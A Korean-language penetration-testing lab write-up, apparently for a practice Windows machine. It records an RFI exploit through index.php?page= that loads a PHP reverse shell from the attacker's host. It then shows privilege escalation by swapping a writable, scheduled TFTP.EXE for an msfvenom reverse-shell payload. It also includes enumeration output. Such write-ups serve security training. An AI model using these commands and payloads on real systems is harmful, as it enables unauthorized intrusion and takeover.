Machine IP : 192.168.192.53
초기 침투
[서비스] / [취약점] / [CVE 또는 기법] 요약
allow_url_fopen==ON RFI 포인트가 있다면 RFI 시도할 수 있음

디렉터리 퍼징
site -> index.php?page=main.php 발견함

/site 접속

LFI 취약점 확인

allow_url_fopen==ON 활성화됨, RFI 시도
펜테스트 몽키 PHP 사용했지만 Shell 연결 실패함
https://www.revshells.com/ 의 PHP Ivan Sincek 리버스 쉘 사용
RFI 취약점으로 리버스 쉘 연결 성공
http://192.168.192.53:8080/site/index.php?page=http://192.168.45.250:8000/reverse_win.php

local.txt 획득

권한 상승
[misconfiguration 또는 exploit] 요약
Recon
systeminfo : Windows 10 pro
cmdkey /list : 없음
whoami /priv
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
net user
PS C:\Users\rupert\Desktop> net user
User accounts for \\SLORT
-------------------------------------------------------------------------------
Administrator DefaultAccount Guest
rupert WDAGUtilityAccount
The command completed successfully.
Hotfix(s): 5 Hotfix(s) Installed.
[01]: KB5009467
[02]: KB4562830
[03]: KB5007253
[04]: KB5006753
[05]: KB5007273
C:\ 경로에 Backup 폴더 발견

info.txt 파일 내 크론탭 정보 발견 C:\Backup\TFTP.EXE -i 192.168.234.57 get backup.txt
Directory of C:\Backup
07/20/2020 07:08 AM <DIR> .
07/20/2020 07:08 AM <DIR> ..
06/12/2020 07:45 AM 11,304 backup.txt
06/12/2020 07:45 AM 73 info.txt
05/02/2026 12:43 PM 7,680 TFTP.EXE
3 File(s) 19,057 bytes
2 Dir(s) 28,599,681,024 bytes free
C:\Backup>type info.txt
Run every 5 minutes:
C:\Backup\TFTP.EXE -i 192.168.234.57 get backup.txt
C:\Backup>
TFTP.EXE 파일의 권한 확인 Users 그룹에 Full access(F) 권한 부여되어있음

MSFvenom으로 페이로드 생성
└─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.250 lport=4444 -f exe -o TFTP.exe
칼리 서버에서 리버스쉘 페이로드 다운로드

5분 뒤, 관리자 권한으로 악성 TFTP.EXE가 실행되어 관리자 권한 획득

막힌 포인트
[열거 누락? 기법 몰랐음? 방향 잘못?] 요약